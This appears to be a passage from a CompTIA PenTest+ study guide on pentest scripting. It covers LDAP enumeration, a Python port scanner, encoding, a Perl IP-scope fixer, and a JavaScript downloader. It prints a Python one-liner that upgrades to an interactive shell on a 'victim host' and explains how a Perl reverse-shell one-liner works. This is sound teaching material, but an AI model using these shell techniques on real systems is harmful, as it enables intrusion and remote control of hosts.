First, we’ll query the current AD domain that we’re in. Then, we’ll set up an LDAP connection using ADSI to our domain controller. The format is LDAP:// followed by the domain name. Next, we want to create a DirectorySearcher object that will let us search LDAP. We create an LDAP filter to search for users and set the search root for the top of the domain, which is the distinguished name of the domain. It uses the FindAll command to return all of the results and store it in an object called Results. We create an empty array called users to store our user data, then parse through Results to populate it. The PSCustomObject lets us set the name:value pairs that we want to appear in our CSV output file. For the MemberOf value, we don’t want to risk messing up a CSV file with lots of commas, so we swap the delimiter with a |. This lets us still easily see the different groups. Now we export the users object to a CSV file. The -NoTypeInformation option means that we don’t put the object type in the first line of the file, since we only care about the data. It still automatically provides a header with our field names. Note: : Microsoft has an article that explains LDAP search syntax: https://docs.microsoft.com/en-us/windows/win32/adsi/search-filter-syntax We can do the same thing for enumerating other assets—in this case, groups. We changed the LDAP filter and the PSCustomObject properties to reflect the fact we are now searching for groups. Python Port Scanner This is an illustration of a basic port scanner written in Python that implements flow control, looping using a for statement, error handling using try and except, and an array, which is defined as the range of ports to scan. Figure: Python port scanner
FindAll
except
Executing the port scan evaluates the state of each port defined in the “range” of ports. Threading is used to execute multiple tasks in parallel in order to optimize the speed and efficiency of program execution. The two import statements at the beginning of the script import program dependencies in order to successfully execute the script. The “sock” Python module is used for communicating over the network using the socket interface.
Caution: The Python port scanner shown above is just an example of using threads and doesn’t compare to the error correction and operational functionality of commercial or open-source port scanners. Depending on what you are doing, launching 9,000 threads may take down some hosts, especially if the target is dropping packets. Proceed with caution. Input and output (I/O) functions are necessary to communicate what the program is doing and what the program needs in order to successfully execute. The simplest form of producing output is to print it to the screen, or terminal window if you are working from the command line.
In the figue below, line 15 uses a print statement to display the open port numbers to the terminal window. If we wanted to print the output to a file, we could comment out line 15 and add the following to print to a file called results.txt, as shown below: Figure: Python write-to-file example
To dissect these new statements a little further, the "w" in line 5 declares the file mode to be writable. There are a number of modes for opening a file, including “r+” for reading and writing and “w+,” which opens a file for reading and writing but overwrites the file if it exists. The open() function opens the file and creates a new file object to do something with it. This is required before you can read or write to the file. The write() method is a file object access method used to write to the file object—in this case, our file object is “results.” The statement on line 16 will write the string 'Port: ' and 'is open' as well as the specific port +repr(port) found to be open from our socket connect on line 13. The \n is a newline identifier, so the output is written to multiple lines. Tip: Another way to read or write to a file from the command line in Linux is by using redirection operators. “<” gives input to a command, the “>” directs the output of a command to a new file, and “>>” appends the output of a command to a file. Python Encoding During a pentest, encoding can help transfer exploit payloads to vulnerable services and help provide obfuscation of a technique being exploited against a target. Here is a basic example of using base64 encoding and decoding to transform the string value “Enc0deS3cr3t”: Using Python to Upgrade to a Fully Interactive Shell When you get a shell on a host, it’s not always fully interactive. Fully interactive shells have terminal control, so that you can use background processes, use editors, and the like. Some exploits will give you a simple shell, and you will need to upgrade to a fully interactive shell to accomplish more advanced tasks.
"w"
open()
write()
'Port:
'
'is open'
+repr(port)
\n
<
Here is a simple one-liner that will allow you to upgrade to an interactive shell on the victim host: python -c 'import pty;pty.spawn("/bin/bash")' &
python -c 'import pty;pty.spawn("/bin/bash")' &
Note your $TERM, rows, and columns on your attack host. In our example, we are assuming linux for the TERM value and 35 rows and 70 columns. Then supply them to the victim host: Using Perl to Modify IP Addresses in a File For a network pentest, being able to manipulate IP addresses, ranges, and CIDR lists is a daily part of life. Let’s take a look at how we can use Perl to make our lives easier when this happens. For a network pentest, we have been given this targets file:
We’re going to use this for web scanning, Nmap, and a host of other tools. However, upon further review, our contact has told us that someone made a typo when establishing the original scope. All of the IP addresses starting with 10.186.250 need to be removed and changed to 10.186.243. Oh, and one more thing. We need to make sure you absolutely do not touch 10.186.157.23. We can still observe this file format and use IP ranges, CIDR notation, and single IPs, but we need to make these changes and remove any duplicates.
The figure below shows a Perl script that will accomplish our goals. Figure: Perl script to fix IP addresses
Perl has some modules that already deal with CIDR notation, and we want to make our output look pretty, so we use Data::Dumper and Net::CIDR to help us. We read in our targets file (iplist.txt), remove any trailing whitespace, and store the content in an array called “lines.” Then we rewrite our 250s as 243s using a substitution regex, which looks for lines beginning with 10.186.250 and replaces that part of the string with 10.186.243. Then we have to parse our CIDR range to remove our exempted IPs and reprint the result as a range of IP addresses using our handy CIDR module to create a comma-separated string. Then we reassemble our results, replacing the commas with newlines to generate our new targets list.
Here’s the output of our script: Perl Reverse Shell You may encounter one-liners on the exam. These may have parts of the command blanked, and you may need to provide or choose the missing pieces that would make the command work. Perl is often used as a command-line one-liner. Here’s an example of a reverse shell implemented as a one-liner in Perl: Note: This requires the Perl module IO::Socket to be installed.
Let’s take a closer look at the socket command. This defines the type of socket that will be opened. We’ve included a reference, described next, where you can read more about the specific options used. In this case, we’re creating a TCP socket to stream data, and we’re calling our socket “S.” The connect statement attempts to create a connection to a remote host. It uses the inet_aton to turn an IPv4 address into byte format that can be passed to the socket for use in the network connection. Then it redirects all of the standard error, input, and output to the socket, so that when you execute Bash, it will get its input from the socket and send all of its output to the socket. Note: : To read more about Perl’s implementation of sockets, the Perl documentation goes into deeper detail about the special constants (such as PF_INET and SOC_STREAM), as well as details about how Perl can negotiate socket connections. JavaScript Downloader JavaScript is a common way to implement a file downloader, since web access is typically not blocked from within an organization. Let’s take a look at an example of a downloader implemented in JavaScript. As a client-side JavaScript, this would be embedded in a normal HTML document with <html> and tags, served as a web page, and likely accessed by a browser. To include jquery, we read it in with a <script> tag.
socket
connect
inet_aton
<script>
We want to be able to use the script to download our content from the same place where our web page is hosted. This helps us avoid suspicion. To do that, we grab the URL where this web page is hosted and strip the URI path. The downlad() function is called whenever someone submits the form. It takes the base URL, the value input into the form, and it combines it into a single URI. It uses the jquery get method to request that URI and puts the response in a new element. The element includes the data object that we just downloaded. It then appends the link we just created into the page and programmatically clicks the link to initiate download of the file. The file will have the same name as what we entered into the form. Review - Scripting is an essential skill for pentesters, and there is a whole subobjective called out in the CompTIA PenTest+ exam objectives, which means you may come across examples or references to scripts written in Bash, Python, Ruby, Perl, JavaScript, or PowerShell. - Pentesters don’t have to be programmers, but they should have some understanding of the language syntax in order to understand what scripts are doing, to modify them, and perhaps to write them well enough to help with some pentest automation. - In this guide, we looked at how the various scripting languages use logic constructs, data structures, and implement other programming concepts using practical examples.
downlad()
Join 4M+ learners. Unlock unlimited quizzes, wrong-answer tracking, flashcards + reminders, study guides, and 1-on-1 challenges.